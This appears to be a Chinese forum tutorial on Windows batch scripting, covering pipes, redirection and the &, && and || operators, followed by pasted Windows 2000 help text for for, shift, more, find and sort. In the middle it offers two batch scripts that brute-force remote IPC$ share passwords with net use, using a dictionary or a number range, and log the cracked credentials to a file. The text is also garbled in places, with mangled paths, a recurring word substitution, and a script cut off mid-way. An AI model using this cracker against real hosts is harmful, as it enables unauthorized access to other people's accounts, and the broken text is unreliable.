下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>
11、|
help | more
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,
直到全部显示完为止;按其他键自动停止返回DOS。
为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对
理解|命令的用法有很大帮助。
11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS
显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。
11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长
的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出
的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐
行显示。
看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一
命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四
是等效的:
help > a.txt
more a.txt
del a.txt
这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有好啊作是在内存
中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。
12、>、>>
这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命
令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有
内容。例十五:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命
令>和>>的区别如上所述。如果这里只用>命令来完成上面好啊作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和
>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。
13、<、>&、<&
这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。
<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
>&,将一个句柄的输出写入到另一个句柄的输入中。
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。
下面介绍组合命令:&、&&、||
组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单--
--既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。
14、&
这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:
copy a.txt b.txt /y & del a.txt
其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很
简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。
15、&&
切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个
命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一
旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:ackupwww
如果远程主机存在user.mdb,则copy到本地e:ackupwww,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实
它和下面这句的作用是一样的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:ackupwww
至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt
文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八
:
dir c: && dir d: > a.txt
仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令
不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正
)!所以这句在执行时将本分成这两部分:dir c:和dir d: > a.txt,而并不是如你想的这两部分:dir c: && dir d:和> a.txt。要使用
组合命令&&达到题目的要求,必须得这么写:
dir c: > a.txt && dir d: >> a.txt
这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c: > a.txt和dir d: >> a.txt。例十八中的几句的差别比较特殊,值得好好
研究体会一下。
当然这里还可以利用&命令(自己想一下道理哦):
dir c: > a.txt & dir d: >> a.txt
16、||
这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再
继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:
@echo off
dir s*.exe || exit
其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也
退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。
那么如何解决题目给出的问题呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪
而过的窗口,echo就白写了。
给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命
令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故
由自己或其合法监护人负责,与本人和本论坛无关。特此警告!
有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了
这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你
了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在
对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管
道命令和组合命令、以及这篇教程以后将讲到的用批处理好啊作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,
是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS
的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
将下列代码存为bat文件
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后,存放于c:pass.txt文件里面。
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:pass.txt
echo ------------------------------------------------------------------- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解结果: >>c:pass.txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \%1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
:answer0
echo 远程主机:"%1" >>c:pass.txt
echo 用 户:"%3" >>c:pass.txt
echo 密 码:%2 >>c:pass.txt
net use \%1ipc$ /delet
exit
:answer2
For
对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for 命令。
要在批处理程序中使用 for 命令,请使用以下语法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,请使用以下语法:
for %variable in (set) do command [command-parameters]
参数
%%variable 或 %variable
代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters
中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名
区分大小写。
(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
command
指定要在指定的 set 所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展,将支持如下 for 命令的其他格式:
只限于目录
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名
递归
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号
(.) 字符,则只列举目录树。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
文件解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出现 usebackq 选项:
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前,每个文件都会被打开、读取和处理。
过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或
多个值)集合调用 for 循环体。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。
跳过空行。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字符串,它包含一个或多个关键字以指定不同的解析选项
。关键字是:
关键字 说明
eol=c 指定行尾注释字符(只一个字符)
skip=n 指定在文件的开头跳过的行数。
delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。
tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围,指定从 mth 到 nth 的令牌。如
果在令牌 = 字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本。
usebackq 指定将右引号字符串作为命令执行,单引号字符串是文字字符串命令,您可以使用双引号包括 filenameset 中的文件名。
变量替换
此外,已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法(对于任何变量 I):
变量(使用修改程序) 说明
%~I 展开删除了周围的任何引号 (") 的 %I
%~fI 将 %I 展开到完全合格的路径名
%~dI 只将 %I 展开到驱动器号
%~pI 只将 %I 展开到路径
%~nI 只将 %I 展开到文件名
%~xI 只将 %I 展开到文件扩展名
%~sI 展开路径以只包含短名称
%~aI 将 %I 展开到文件的文件属性
%~tI 将 %I 展开到文件的日期/时间
%~zI 将 %I 展开到文件大小
%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名,或搜索后没有找
到文件,则此修改程序将扩展为空字符串。
修改程序可以合并以获得复杂的结果:
变量(使用合并的修改程序) 说明
%~dpI 只将 %I 展开到驱动器号和路径
%~nxI 只将 %I 展开到文件名和扩展名
%~fsI 将 %I 展开到只包含短名称的完整路径名
%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I,并展开到第一个找到结果的驱动器号和路径
%~ftzaI 将 %I 扩展到与 dir 相似的输出行
注意
在上述范例中,%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。
使用大写变量名(例如 %I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆。
Shift
更改批处理文件中可替换参数的位置。
shift
启用命令扩展(Windows 2000 中的默认设置)后,shift 命令支持 /n 开关,该开关通知命令在第 n 个参数处开始更改,n 可以是从 0 到 8
的任何一个值。例如,
SHIFT /2
将 %3 改为 %2,将 %4 改为 %3 等等,而 %0 和 %1 保持不变。
筛选器命令
筛选器命令可以帮助您排序、查看和选择部分命令输出结果。
通过筛选器命令传递信息
筛选器命令可以划分、重排以及提取通过的部分信息好啊作。Windows 2000 有三个筛选器命令:
more 命令每次显示一屏文件内容或命令输出。
find 命令在文件和命令输出中搜索指定字符。
sort 命令按字母顺序排列文件和命令输出。
要将输入从文件发送到筛选器命令,请使用小于符号 (<)。如果要筛选器命令从其他命令获得输入,请使用管道 (|)。
使用 more 命令来控制屏幕显示
more 命令每次一屏地显示文件的内容或命令输出。例如,下面的 more 命令每次显示一屏 List.txt 文件的内容:
more < list.txt
信息显示一屏后,会出现字“More”。要继续显示下一屏,请按键盘上任意键。要停止命令且不查看详细信息,请按 CTRL+C 键。
如果使用产生多屏输出的命令,more 将十分有用。例如,假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来
,请使用带管道号 (|) 和 more 命令的 tree 命令,如下例所示:
tree c: | more
tree 命令的第一屏输出被显示,后跟词“More”。Windows 2000 暂停,直到用户按键盘上的任意键为止(PAUSE 键除外)。
使用 find 命令搜索文本
find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows
2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息,请单击“相关主题”列表中的 find。
要将 find 当作筛选器命令使用,请包含小于符号 (<) 和搜索的文件名。当输入文件名时,请记住搜索要区分大小写。例如,下面的命令查找
文件 Trade.txt 中所有的“Pacific Rim”字符串:
find "Pacific Rim" < trade.txt
要保存 find 命令的输出而不是显示输出,请使用大于号 (>) 和要存储输出的文件名。例如,下面的命令查找文件 Trade.txt 中所有的
“Pacific Rim”字符串,并将结果保存在 Nwtrade.txt 文件中:
find "Pacific Rim" < trade.txt > nwtrade.txt
对文本文件排序
sort 命令按字母顺序排列文本文件或命令的输出。例如,可以使用以下命令对 List.txt 文件的内容进行排序,并在屏幕上显示结果:
sort < list.txt
在此范例中,sort 命令对 List.txt 文件的行进行排序并显示结果,但不更改文件。要保存 sort 命令的输出而不是显示输出,请在命令中包
含大于号 (>) 和文件名。例如,可以使用以下命令对 List.txt 文件的行按字母顺序排序,并将结果存到 Alphlist.txt 文件中:
sort < list.txt > alphlist.txt
要排序命令的输出,请键入后面带有管道 (|) 和 sort 命令的命令。例如,下面的命令对 find 命令的输出结果进行排序:
find "Jones" maillst.txt | sort
在键入该命令时,Windows 2000 按字母顺序列出在其中出现“Jones”的行。
带重定向符的合并命令
可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如,可以使用以下命令存储包含“LOG”字符串的文件名:
dir /b | find "LOG" > loglist.txt
Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串“Log”的文件名存储在 Loglist.txt 文件中。将结果存储为文件
名列表(如,A.log、Logdat.svd 和 Mylog.bat)。
要在相同命令中使用多个筛选器,请使用管道 (|) 分隔筛选器。例如,下面的命令搜索 C 盘上的每个目录以查找包含“Log”字符串的文件名
,并且每次显示一屏:
dir c: /s /b | find "LOG" | more
因为使用管道 (|),Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串“Log”的文件名。more 命令每次
一屏地显示 find 命令选择的文件名。
More
每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令,或者使用它控制其他命令的输出,例如 type 命令。当显示填充
可用的查看区域时将出现 more 提示,用户可以输入许多命令来控制查看文件其余部分的方式。
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
参数
[drive:][path] filename
指定要显示的文件。
command name
指定将显示其输出的命令。
/c
显示页面前清除屏幕。
/p
扩展换页符。
/s
将多个空白行更改为一个空白行。
/tn
将制表位更改为 n 个空格
+n
显示由 n 指定的行开始的第一个文件。
files
指定要显示的文件列表。用空格分隔文件名。
More 子命令
以下命令在 more 提示 (-- More --) 下接受。
关键字 好啊作
space 显示下一页。
ENTER 显示下一行。
F 显示下一个文件。
q 退出。
? 显示可用命令。
= 显示行号。
P n 显示以下 n 行。
S n 跳过下面 n 行。
Find
在一个文件或多个文件中搜索指定的文本字符串。
当搜索到指定的文件后,find 将显示出包含指定字符串的所有行。
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
参数
/v
显示未包含指定字符串的所有行。
/c
只显示包含指定字符串的行数。
/n
将文件行号置于每行开头。
/I
指定搜索不区分大小写。
"string"
指定要搜索的字符组。必须将 string 的文本包括在引号中。
[drive:][path] filename
指定要在其中搜索指定字符串的文件的位置和名称。
Sort
读取输入、排序数据并将结果写到屏幕、文件和其他设备上。
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:]
[path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]]
[/o [drive3:][path3]filename3]
参数
/r
颠倒排序顺序,即从 Z 到 A 排序,然后从 9 到 0 排序。
/+n
指定字符位置号 n,sort 在此处开始每次比较。例如,/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。
默认情况下,比较在每行的第一个字符开始。
/m kilobytes
指定用于排序的主内存数量,按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小,则无论有多少主内存可用,指定的确
切数量(但至少 160 KB)的内存将用于排序。
如果输入输出均为文件,在没有指定大小时,默认最大内存大小为可用主内存的 90%,否则为主内存的 45%。默认设置通常会产生最佳的性
能。
/l locale
替代由系统默认区域设置定义的字符排序顺序;即在安装 Windows 2000 时选择的语言和“国家(地区)”。目前,默认区域设置唯一的备用
选项就是“C”区域设置,该区域设置比自然语言排序快,根据二进制编码对字符排序。
/rec characters
指定记录或输入文件的行中的最多字符数(默认值为 4096,最大值为 65535)。
[drive1:][path1]filename1
指定要排序的文件。如果没有指定文件名,则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。
/t [drive2:][path2]
指定保留 sort 命令工作存储的目录路径,防止数据不能装入主内存。默认为使用系统临时目录。
/o [drive3:][path3]filename3
指定要存储排序后的输入的文件。如果没有指定,数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!